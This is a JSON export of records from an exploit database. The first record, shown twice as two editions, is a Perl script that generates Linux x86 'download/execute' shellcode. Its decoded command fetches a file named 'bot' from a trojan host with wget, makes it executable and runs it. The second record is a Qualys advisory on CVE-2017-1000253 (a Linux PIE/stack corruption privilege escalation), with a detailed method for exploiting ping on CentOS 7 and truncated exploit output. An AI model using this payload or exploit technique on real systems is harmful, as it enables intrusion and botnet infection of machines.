{"published": "2011-05-04T00:00:00", "id": "1337DAY-ID-16028", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [{"differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-20T02:30:59", "bulletin": {"published": "2011-05-04T00:00:00", "id": "1337DAY-ID-16028", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"score": {"value": 6.0, "modified": "2016-04-20T02:30:59"}}, "hash": "8bd56138354d7710d985646a90e7d2c32de2e94c8ad4837c6fa66aa673cb7f8b", "description": "Exploit for linux/x86 platform in category shellcode", "type": "zdt", "lastseen": "2016-04-20T02:30:59", "edition": 1, "title": "linux/x86 Remote Download/Execute File - 44 Bytes + File", "href": "http://0day.today/exploit/description/16028", "modified": "2011-05-04T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": [], "sourceHref": "http://0day.today/exploit/16028", "references": [], "reporter": "KedAns-Dz", "sourceData": "1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0\r\n0 _ __ __ __ 1\r\n1 /' \\ __ /'__`\\ /\\ \\__ /'__`\\ 0\r\n0 /\\_, \\ ___ /\\_\\/\\_\\ \\ \\ ___\\ \\ ,_\\/\\ \\/\\ \\ _ ___ 1\r\n1 \\/_/\\ \\ /' _ `\\ \\/\\ \\/_/_\\_<_ /'___\\ \\ \\/\\ \\ \\ \\ \\/\\`'__\\ 0\r\n0 \\ \\ \\/\\ \\/\\ \\ \\ \\ \\/\\ \\ \\ \\/\\ \\__/\\ \\ \\_\\ \\ \\_\\ \\ \\ \\/ 1\r\n1 \\ \\_\\ \\_\\ \\_\\_\\ \\ \\ \\____/\\ \\____\\\\ \\__\\\\ \\____/\\ \\_\\ 0\r\n0 \\/_/\\/_/\\/_/\\ \\_\\ \\/___/ \\/____/ \\/__/ \\/___/ \\/_/ 1\r\n1 \\ \\____/ >> Exploit database separated by exploit 0\r\n0 \\/___/ type (local, remote, DoS, etc.) 1\r\n1 1\r\n0 [+] Site : 1337day.com 0\r\n1 [+] Support e-mail : submit[at]1337day.com 1\r\n0 0\r\n1 ######################################### 1\r\n0 I'm KedAns-Dz member from Inj3ct0r Team 1\r\n1 ######################################### 0\r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n\r\n#!/usr/bin/perl\r\nsub logo(){\r\nprint q' \r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n1 ______ 0\r\n0 .-\" \"-. 1\r\n1 / KedAns-Dz \\ =-=-=-=-=-=-=-=-=-=-=-| 0\r\n0 Algerian HaCker | | > Site : 1337day.com | 1\r\n1 --------------- |, .-. .-. ,| > Twitter : @kedans | 0\r\n0 | )(_o/ \\o_)( | > ked-h@hotmail.com | 1\r\n1 |/ /\\ \\| =-=-=-=-=-=-=-=-=-=-=| 0\r\n0 (@_ (_ ^^ _) HaCkerS-StreeT-Team 1\r\n1 _ ) \\_______\\__|IIIIII|__/_______________________ 0\r\n0 (_)@8@8{}<________|-\\IIIIII/-|________________________> 1\r\n1 )_/ \\ / 0\r\n0 (@ `--------` \u00c2\u00a9 2011, Inj3ct0r Team 1\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0\r\n0 Shellcode Linux/x86 Remote Download/Execute File - 44 Bytes + File 1\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0\r\n';\r\n}\r\n###\r\n# Shellcode Linux/x86 Remote Download/Execute File - 44 Bytes + File\r\n# Platform (Linux) - ARCH (x86) - Type (Shellcode)\r\n# Tested on : Linux/x86 - Ubuntu - (10.10 & 8.14 'BT4')\r\n# Provided By : KedAns-Dz\r\n##\r\n# Unreal IRCD 3.2.8.1 Remote Download/Execute\r\n# Real Provider (anonymous) > http://exploit-db.com/exploits/13853\r\n###\r\nlogo();\r\n$ARGC=@ARGV;\r\nif ($ARGC!=1) { \r\n print \"\\n [!] Usage: $0 [Tr0j4n3-HoSt] \\n\"; \r\n die \" [*] f.ex: $0 http://1337day.com/attack.txt \\n\";\r\n}\r\nmy $FILE = shift;\r\nmy $leng = length($FILE)+44; # 44 - default length of shellcode\r\nmy $shellcode = # cd /tmp; wget [TroJ4n3-HoSt] -O bot; chmod +x bot; ./bot &\r\n'\\x63\\x64\\x20\\x2f\\x74\\x6d\\x70\\x3b\\x20\\x77\\x67\\x65\\x74\\x20'.$FILE.\r\n'\\x20\\x2d\\x4f\\x20\\x62\\x6f\\x74\\x3b\\x20\\x63\\x68\\x6d\\x6f\\x64\\x20\\x2b'.\r\n'\\x78\\x20\\x62\\x6f\\x74\\x3b\\x20\\x2e\\x2f\\x62\\x6f\\x74\\x20\\x26';\r\nprint\"\\n\\n [+] File : \".$FILE.\"\\n [+] Length : \".$leng.\" Bytes\\n [+] Shellcode :\\n\\n\".$shellcode.\"\\n\";\r\n\r\n#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== \r\n# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >\r\n# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) \r\n# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *\r\n# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... \r\n# Exploit-Id Team : jos_ali_joe + Caddy-Dz (exploit-id.com) ... All Others * TreX (hotturks.org) \r\n# JaGo-Dz (sec4ever.com) * KelvinX (kelvinx.net) * PaCketStorm Team (www.packetstormsecurity.org)\r\n# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...\r\n#================================================================================================\r\n\r\n\n\n# 0day.today [2016-04-20] #", "hashmap": [{"hash": "7898bff4cd6bedabdc8962dda4feccd3", "key": "sourceData"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "8831c4d116d6543bf0625eaff2201365", "key": "modified"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "8831c4d116d6543bf0625eaff2201365", "key": "published"}, {"hash": "834dba2e8d62ac926388f0b1e4581f1d", "key": "title"}, {"hash": "bcb2d62bcd8b037eb320c0574f66ab61", "key": "sourceHref"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "fa25d682ad8a858d1dd2b72d7aaca6ce", "key": "description"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "2bf326e684bacda9c81e8e7a23dc6896", "key": "href"}, {"hash": "af76fb253835e7e53597195b251ff8ac", "key": "reporter"}], "objectVersion": "1.0"}}], "description": "Exploit for linux/x86 platform in category shellcode", "hash": "812c982c3a8fd6c2dbc023f9bed11a3b9c5dd1124d4c7e85a9fd371118ec0c9a", "enchantments": {"vulnersScore": 6.8}, "type": "zdt", "lastseen": "2018-03-06T01:36:21", "edition": 2, "title": "linux/x86 Remote Download/Execute File - 44 Bytes + File", "href": "https://0day.today/exploit/description/16028", "modified": "2011-05-04T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": [], "sourceHref": "https://0day.today/exploit/16028", "references": [], "reporter": "KedAns-Dz", "sourceData": "1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0\r\n0 _ __ __ __ 1\r\n1 /' \\ __ /'__`\\ /\\ \\__ /'__`\\ 0\r\n0 /\\_, \\ ___ /\\_\\/\\_\\ \\ \\ ___\\ \\ ,_\\/\\ \\/\\ \\ _ ___ 1\r\n1 \\/_/\\ \\ /' _ `\\ \\/\\ \\/_/_\\_<_ /'___\\ \\ \\/\\ \\ \\ \\ \\/\\`'__\\ 0\r\n0 \\ \\ \\/\\ \\/\\ \\ \\ \\ \\/\\ \\ \\ \\/\\ \\__/\\ \\ \\_\\ \\ \\_\\ \\ \\ \\/ 1\r\n1 \\ \\_\\ \\_\\ \\_\\_\\ \\ \\ \\____/\\ \\____\\\\ \\__\\\\ \\____/\\ \\_\\ 0\r\n0 \\/_/\\/_/\\/_/\\ \\_\\ \\/___/ \\/____/ \\/__/ \\/___/ \\/_/ 1\r\n1 \\ \\____/ >> Exploit database separated by exploit 0\r\n0 \\/___/ type (local, remote, DoS, etc.) 1\r\n1 1\r\n0 [+] Site : 1337day.com 0\r\n1 [+] Support e-mail : submit[at]1337day.com 1\r\n0 0\r\n1 ######################################### 1\r\n0 I'm KedAns-Dz member from Inj3ct0r Team 1\r\n1 ######################################### 0\r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n\r\n#!/usr/bin/perl\r\nsub logo(){\r\nprint q' \r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n1 ______ 0\r\n0 .-\" \"-. 1\r\n1 / KedAns-Dz \\ =-=-=-=-=-=-=-=-=-=-=-| 0\r\n0 Algerian HaCker | | > Site : 1337day.com | 1\r\n1 --------------- |, .-. .-. ,| > Twitter : @kedans | 0\r\n0 | )(_o/ \\o_)( | > [email\u00a0protected] | 1\r\n1 |/ /\\ \\| =-=-=-=-=-=-=-=-=-=-=| 0\r\n0 (@_ (_ ^^ _) HaCkerS-StreeT-Team 1\r\n1 _ ) \\_______\\__|IIIIII|__/_______________________ 0\r\n0 (_)@[email\u00a0protected]{}<________|-\\IIIIII/-|________________________> 1\r\n1 )_/ \\ / 0\r\n0 (@ `--------` \u00c2\u00a9 2011, Inj3ct0r Team 1\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0\r\n0 Shellcode Linux/x86 Remote Download/Execute File - 44 Bytes + File 1\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0\r\n';\r\n}\r\n###\r\n# Shellcode Linux/x86 Remote Download/Execute File - 44 Bytes + File\r\n# Platform (Linux) - ARCH (x86) - Type (Shellcode)\r\n# Tested on : Linux/x86 - Ubuntu - (10.10 & 8.14 'BT4')\r\n# Provided By : KedAns-Dz\r\n##\r\n# Unreal IRCD 3.2.8.1 Remote Download/Execute\r\n# Real Provider (anonymous) > http://exploit-db.com/exploits/13853\r\n###\r\nlogo();\r\n[email\u00a0protected];\r\nif ($ARGC!=1) { \r\n print \"\\n [!] Usage: $0 [Tr0j4n3-HoSt] \\n\"; \r\n die \" [*] f.ex: $0 http://1337day.com/attack.txt \\n\";\r\n}\r\nmy $FILE = shift;\r\nmy $leng = length($FILE)+44; # 44 - default length of shellcode\r\nmy $shellcode = # cd /tmp; wget [TroJ4n3-HoSt] -O bot; chmod +x bot; ./bot &\r\n'\\x63\\x64\\x20\\x2f\\x74\\x6d\\x70\\x3b\\x20\\x77\\x67\\x65\\x74\\x20'.$FILE.\r\n'\\x20\\x2d\\x4f\\x20\\x62\\x6f\\x74\\x3b\\x20\\x63\\x68\\x6d\\x6f\\x64\\x20\\x2b'.\r\n'\\x78\\x20\\x62\\x6f\\x74\\x3b\\x20\\x2e\\x2f\\x62\\x6f\\x74\\x20\\x26';\r\nprint\"\\n\\n [+] File : \".$FILE.\"\\n [+] Length : \".$leng.\" Bytes\\n [+] Shellcode :\\n\\n\".$shellcode.\"\\n\";\r\n\r\n#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== \r\n# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >\r\n# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com) \r\n# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * agix *\r\n# gunslinger_ * Sn!pEr.S!Te * ZoRLu * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... \r\n# Exploit-Id Team : jos_ali_joe + Caddy-Dz (exploit-id.com) ... All Others * TreX (hotturks.org) \r\n# JaGo-Dz (sec4ever.com) * KelvinX (kelvinx.net) * PaCketStorm Team (www.packetstormsecurity.org)\r\n# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...\r\n#================================================================================================\r\n\r\n\n\n# 0day.today [2018-03-05] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "fa25d682ad8a858d1dd2b72d7aaca6ce", "key": "description"}, {"hash": "d44b659896d07de1275c92ff8d8f69fa", "key": "href"}, {"hash": "8831c4d116d6543bf0625eaff2201365", "key": "modified"}, {"hash": "8831c4d116d6543bf0625eaff2201365", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "af76fb253835e7e53597195b251ff8ac", "key": "reporter"}, {"hash": "c77c314d7665d52c426f8e56844c7782", "key": "sourceData"}, {"hash": "acec818a33e12c002d0b2e38a901f735", "key": "sourceHref"}, {"hash": "834dba2e8d62ac926388f0b1e4581f1d", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "objectVersion": "1.3"}

{"result": {"zdt": [{"lastseen": "2018-02-16T05:17:43", "references": [], "description": "Exploit for linux platform in category remote exploits", "edition": 1, "reporter": "Qualys", "published": "2017-10-05T00:00:00", "title": "CentOS 7 before 1708 PIE/stack corruption Vulnerability", "type": "zdt", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2017-10002"], "modified": "2017-10-05T00:00:00", "href": "https://0day.today/exploit/description/28745", "id": "1337DAY-ID-28745", "sourceData": "Linux PIE/stack corruption (CVE-2017-1000253)\r\n\r\n\r\n========================================================================\r\nContents\r\n========================================================================\r\n\r\nSummary\r\nAnalysis\r\nExploitation\r\nAcknowledgments\r\n\r\n\r\n========================================================================\r\nSummary\r\n========================================================================\r\n\r\nLinux distributions that have not patched their long-term kernels with\r\nhttps://git.kernel.org/linus/a87938b2e246b81b4fb713edb371a9fa3c5c3c86\r\n(committed on April 14, 2015) are vulnerable to CVE-2017-1000253, a\r\nLocal Privilege Escalation.\r\n\r\nMost notably, all versions of CentOS 7 before 1708 (released on\r\nSeptember 13, 2017), all versions of Red Hat Enterprise Linux 7 before\r\n7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red\r\nHat Enterprise Linux 6 are exploitable.\r\n\r\n\r\n========================================================================\r\nAnalysis\r\n========================================================================\r\n\r\n------------------------------------------------------------------------\r\nPre-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nOccasionally, we have noticed a strange behavior with PIEs\r\n(Position-Independent Executables) on CentOS 7:\r\n\r\nLinux localhost.localdomain 3.10.0-514.21.1.el7.x86_64 #1 SMP Thu May 25 17:04:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffbad3b3000-7ffbad56a000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad56a000-7ffbad769000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad769000-7ffbad76d000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76d000-7ffbad76f000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbad76f000-7ffbad774000 rw-p 00000000 00:00 0 \r\n7ffbad774000-7ffbad794000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad967000-7ffbad98b000 rw-p 00000000 00:00 0 \r\n7ffbad990000-7ffbad991000 rw-p 00000000 00:00 0 \r\n7ffbad991000-7ffbad993000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbad993000-7ffbad994000 r--p 0001f000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad994000-7ffbad995000 rw-p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbad995000-7ffbad996000 rw-p 00000000 00:00 0 \r\n7ffbad996000-7ffbad998000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbad999000-7ffbadb97000 rw-p 00000000 00:00 0 [stack]\r\n7ffbadb97000-7ffbadb98000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbadb98000-7ffbadbb9000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbadbba000-7ffc0d9ba000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbad9a0978\r\n\r\nIn this example, the kernel's execve() code erroneously mapped the PIE's\r\nread-write segment into the stack memory region, thus corrupting and\r\ndividing the stack into three parts:\r\n\r\n- 7ffbad999000-7ffbadb97000, the lowest part of the stack, is where the\r\n stack pointer (rsp) points to, after execve() returns to the userland;\r\n\r\n- 7ffbadb97000-7ffbadbb9000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment (7ffbadb97000-7ffbadb98000 was later\r\n mprotect()ed read-only by RELRO), and hence a write to this part of\r\n the stack smashes the PIE's read-write segment, and vice versa;\r\n\r\n- 7ffbadbba000-7ffc0d9ba000, the highest part of the stack, is\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps (because the\r\n program brk() points there), but is correctly flagged as a stack in\r\n /proc/pid/smaps (the \"gd\" flag, \"grows down\").\r\n\r\nThis kernel vulnerability was fixed in April 2015 by commit\r\na87938b2e246b81b4fb713edb371a9fa3c5c3c86 (backported to Linux 3.10.77 in\r\nMay 2015), but it was not recognized as a security threat. This fix was\r\ntherefore not backported to long-term distributions such as CentOS:\r\n\r\n------------------------------------------------------------------------\r\n\r\nFrom: Michael Davidson <[email\u00a0protected]>\r\nDate: Tue, 14 Apr 2015 15:47:38 -0700\r\nSubject: fs/binfmt_elf.c: fix bug in loading of PIE binaries\r\n\r\nWith CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down\r\naddress allocation strategy, load_elf_binary() will attempt to map a PIE\r\nbinary into an address range immediately below mm->mmap_base.\r\n\r\nUnfortunately, load_elf_ binary() does not take account of the need to\r\nallocate sufficient space for the entire binary which means that, while\r\nthe first PT_LOAD segment is mapped below mm->mmap_base, the subsequent\r\nPT_LOAD segment(s) end up being mapped above mm->mmap_base into the are\r\nthat is supposed to be the \"gap\" between the stack and the binary.\r\n\r\nSince the size of the \"gap\" on x86_64 is only guaranteed to be 128MB this\r\nmeans that binaries with large data segments > 128MB can end up mapping\r\npart of their data segment over their stack resulting in corruption of the\r\nstack (and the data segment once the binary starts to run).\r\n\r\nAny PIE binary with a data segment > 128MB is vulnerable to this although\r\naddress randomization means that the actual gap between the stack and the\r\nend of the binary is normally greater than 128MB. The larger the data\r\nsegment of the binary the higher the probability of failure.\r\n\r\nFix this by calculating the total size of the binary in the same way as\r\nload_elf_interp().\r\n\r\nSigned-off-by: Michael Davidson <[email\u00a0protected]>\r\nCc: Alexander Viro <[email\u00a0protected]>\r\nCc: Jiri Kosina <[email\u00a0protected]>\r\nCc: Kees Cook <[email\u00a0protected]>\r\nCc: <[email\u00a0protected]>\r\nSigned-off-by: Andrew Morton <[email\u00a0protected]>\r\nSigned-off-by: Linus Torvalds <[email\u00a0protected]>\r\n---\r\n fs/binfmt_elf.c | 9 ++++++++-\r\n 1 file changed, 8 insertions(+), 1 deletion(-)\r\n\r\ndiff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c\r\nindex 995986b..d925f55 100644\r\n--- a/fs/binfmt_elf.c\r\n+++ b/fs/binfmt_elf.c\r\n@@ -862,6 +862,7 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {\r\n int elf_prot = 0, elf_flags;\r\n unsigned long k, vaddr;\r\n+ unsigned long total_size = 0;\r\n \r\n if (elf_ppnt->p_type != PT_LOAD)\r\n continue;\r\n@@ -924,10 +925,16 @@ static int load_elf_binary(struct linux_binprm *bprm)\r\n #else\r\n load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);\r\n #endif\r\n+ total_size = total_mapping_size(elf_phdata,\r\n+ loc->elf_ex.e_phnum);\r\n+ if (!total_size) {\r\n+ error = -EINVAL;\r\n+ goto out_free_dentry;\r\n+ }\r\n }\r\n \r\n error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,\r\n- elf_prot, elf_flags, 0);\r\n+ elf_prot, elf_flags, total_size);\r\n if (BAD_ADDR(error)) {\r\n retval = IS_ERR((void *)error) ?\r\n PTR_ERR((void*)error) : -EINVAL;\r\n\r\n------------------------------------------------------------------------\r\n\r\nUnfortunately, this vulnerability is not limited to the PIEs whose\r\nread-write segment is larger than 128MB. Indeed, 128MB is the minimum\r\ndistance between the mmap_base and the highest address of the stack, not\r\nthe lowest address of the stack (CVE-2017-1000379): consequently, and as\r\nshown in our Stack Clash advisory, if we pass 1.5GB of argument strings\r\nto execve(), then any PIE may be mapped directly below the stack (and\r\ntrigger CVE-2017-1000253) with a probability of ~1/17331 (5 hours on\r\naverage, if each run takes 1 second).\r\n\r\n------------------------------------------------------------------------\r\nPost-Stack-Clash kernels\r\n------------------------------------------------------------------------\r\n\r\nAs a proof-of-concept, we will publish CVE-2017-1000253.c, an exploit\r\nfor ping on CentOS-7 kernel versions \"3.10.0-514.21.2.el7.x86_64\" and\r\n\"3.10.0-514.26.1.el7.x86_64\" (the first kernel updates after the Stack\r\nClash). The PIE/stack layout on these post-Stack-Clash kernels differs\r\nslightly from the layout on pre-Stack-Clash kernels, since the size of\r\nthe stack guard-page was increased from 4KB to 1MB:\r\n\r\nLinux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n7ffba9ee4000-7ffbaa09b000 r-xp 00000000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa09b000-7ffbaa29a000 ---p 001b7000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29a000-7ffbaa29e000 r--p 001b6000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa29e000-7ffbaa2a0000 rw-p 001ba000 fd:00 9066 /usr/lib64/libc-2.17.so\r\n7ffbaa2a0000-7ffbaa2a5000 rw-p 00000000 00:00 0 \r\n7ffbaa2a5000-7ffbaa2c5000 r-xp 00000000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa499000-7ffbaa4bd000 rw-p 00000000 00:00 0 \r\n7ffbaa4c2000-7ffbaa4c3000 rw-p 00000000 00:00 0 \r\n7ffbaa4c3000-7ffbaa4c5000 r-xp 00000000 00:00 0 [vdso]\r\n7ffbaa4c5000-7ffbaa4c6000 r--p 00020000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c6000-7ffbaa4c7000 rw-p 00021000 fd:00 1229 /usr/lib64/ld-2.17.so\r\n7ffbaa4c7000-7ffbaa4c8000 rw-p 00000000 00:00 0 \r\n7ffbaa4c8000-7ffbaa4ca000 r-xp 00000000 fd:00 4194375 /tmp/PIE\r\n7ffbaa5ca000-7ffbaa6c9000 rw-p 00000000 00:00 0 \r\n7ffbaa6c9000-7ffbaa6ca000 r--p 00001000 fd:00 4194375 /tmp/PIE\r\n7ffbaa6ca000-7ffbaa6eb000 rw-p 00002000 fd:00 4194375 /tmp/PIE\r\n7ffbaa7eb000-7ffc0a6eb000 rw-p 00000000 00:00 0 [heap]\r\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\r\nrsp 0x7ffbaa6d1c18\r\n\r\nIn this example, the kernel's execve() code also mapped the PIE's\r\nread-write segment into the stack memory region, and divided the stack\r\ninto three parts, but:\r\n\r\n- 7ffbaa5ca000-7ffbaa6c9000, the lowest part of the stack, is not\r\n displayed as the \"[stack]\" in /proc/pid/maps (because rsp does not\r\n point there), but is correctly flagged as a stack in /proc/pid/smaps;\r\n\r\n- 7ffbaa6c9000-7ffbaa6eb000, the middle part of the stack, was replaced\r\n by the PIE's read-write segment, and is where rsp points to, after\r\n execve() returns to the userland;\r\n\r\n- 7ffbaa7eb000-7ffc0a6eb000, the highest part of the stack, is (again)\r\n incorrectly displayed as the \"[heap]\" in /proc/pid/maps, but is\r\n correctly flagged as a stack in /proc/pid/smaps.\r\n\r\nOlder kernels (such as \"3.10.0-514.21.1.el7.x86_64\") and newer kernels\r\n(such as \"3.10.0-514.26.2.el7.x86_64\"), other distributions and other\r\nprivileged PIEs (including SUID-root PIEs), are also exploitable, but\r\nthe exploitation method must be adapted to slightly different PIE/stack\r\nlayouts. This is left as an exercise for the interested reader.\r\n\r\n\r\n========================================================================\r\nExploitation\r\n========================================================================\r\n\r\nOur CVE-2017-1000253.c exploit for CentOS-7 kernel versions\r\n\"3.10.0-514.21.2.el7.x86_64\" and \"3.10.0-514.26.1.el7.x86_64\" is very\r\nsimilar to our stack-clash exploit Linux_ldso_dynamic.c (we smash the\r\nPIE's .dynamic section with a stack-based string operation, and force\r\nld.so to load and execute our own shared library), but with two\r\nimportant differences:\r\n\r\n- we do not need to jump over the stack guard-page, because rsp\r\n naturally points into the PIE's read-write segment after we trigger\r\n CVE-2017-1000253;\r\n\r\n- on 64-bit, all .dynamic tags contain null-bytes, a serious problem if\r\n we want to smash the .dynamic section with a null-terminated string.\r\n\r\nTo solve this problem, we smash the .dynamic section with multiple calls\r\nto process_dl_debug(), a function called by process_envvars() very early\r\nin dl_main(), before elf_get_dynamic_info() parses the .dynamic section.\r\nprocess_dl_debug() is called for each LD_DEBUG environment variable, and\r\ncalls strndupa() (strnlen(), alloca(), memcpy()) for each unknown option\r\nin LD_DEBUG, thus allowing us to smash the .dynamic section with\r\nmultiple null-terminated strings, and hence multiple null-bytes.\r\n\r\nUnfortunately, the .dynamic entries that we build on the stack with\r\nprocess_dl_debug():\r\n\r\n- DT_SYMTAB (tag 0x0000000000000006, value unused);\r\n\r\n- DT_STRTAB (tag 0x0000000000000005), an offset (into the PIE's\r\n read-execute segment) to our own .dynstr section -- this is later\r\n transformed by elf_get_dynamic_info() into an absolute address,\r\n allowing us to bypass ASLR;\r\n\r\n- DT_NEEDED (tag 0x0000000000000001), an offset (into our .dynstr\r\n section) to the pathname of our own shared library -- we use offset\r\n 0x238+1 into the PIE's read-execute segment, where the string\r\n \"lib64/ld-linux-x86-64.so.2\" is always stored;\r\n\r\n- DT_NULL (tag 0x0000000000000000, value unused);\r\n\r\nare partially destroyed by the stack-frames of further function calls\r\n(_dl_error_printf(), for example). Our solution to this problem is very\r\nspecific to CentOS 7, and restricts this particular exploit to the PIEs\r\nwhose .dynamic section's address modulo 16 is equal to 8:\r\n\r\n- we build our .dynamic tags through a stack variable used by memcpy()\r\n to store the address modulo 16 of the unknown options in LD_DEBUG;\r\n\r\n- we store our .dynamic values in an unused slot of process_dl_debug()'s\r\n stack-frame.\r\n\r\nOne last, unexpected problem with this particular exploit is that rsp\r\ncan never point into the highest part of the stack (after the kernel's\r\nexecve() code divided the stack into three parts): indeed, the kernel's\r\npage-fault handler would then try to insert a stack guard-page below the\r\nhighest part of the stack, and would SIGKILL our process because the\r\nPIE's read-write segment is already mapped there.\r\n\r\nThe solution to this problem is simple, but further restricts this\r\nparticular exploit to the PIEs whose read-write segment is large enough\r\nto encompass rsp: the kernel's page-fault handler will not try to insert\r\na stack guard-page there, because the PIE's read-write segment is not\r\nflagged as a stack (VM_GROWSDOWN). For example, on a default, minimal\r\nCentOS 7, ping is privileged (cap_net_admin and cap_net_raw) and\r\nexploitable:\r\n\r\n[[email\u00a0protected] tmp]$ getcap -r / 2>/dev/null\r\n/usr/bin/ping = cap_net_admin,cap_net_raw+p\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ readelf -a /usr/bin/ping\r\n...\r\n Type Offset VirtAddr PhysAddr\r\n FileSiz MemSiz Flags Align\r\n...\r\n LOAD 0x000000000000da58 0x000000000020da58 0x000000000020da58\r\n 0x0000000000000988 0x00000000000241e8 RW 200000\r\n DYNAMIC 0x000000000000da78 0x000000000020da78 0x000000000020da78\r\n 0x0000000000000240 0x0000000000000240 RW 8\r\n...\r\n\r\n[[email\u00a0protected] tmp]$ ./CVE-2017-1000253 /usr/bin/ping\r\nargv_size 101903\r\nsmash_size 36864\r\nhi_smash_size 18432\r\nlo_smash_size 18432\r\nprobability 1/16028\r\ntry 1 1.409649 exited 2\r\ntry 2 1.097508 exited 2\r\ntry 3 1.060084 exited 2\r\ntry 4 1.059042 exited 2\r\ntry 5 1.090841 exited 2\r\ntry 6 1.068993 exited 2\r\ntry 7 1.093662 exited 2\r\n...\r\ntry 3411 1.018799 exited 2\r\ntry 3412 1.022255 exited 2\r\ntry 3413 1.022062 exited 2\r\ntry 3414 1.061316 exited 2\r\ntry 3415 1.024066 exited 2\r\ntry 3416 1.024864 exited 2\r\ntry 3417 1.043867 exited 2\r\nPid: 6301\r\nUid: 1000 1000 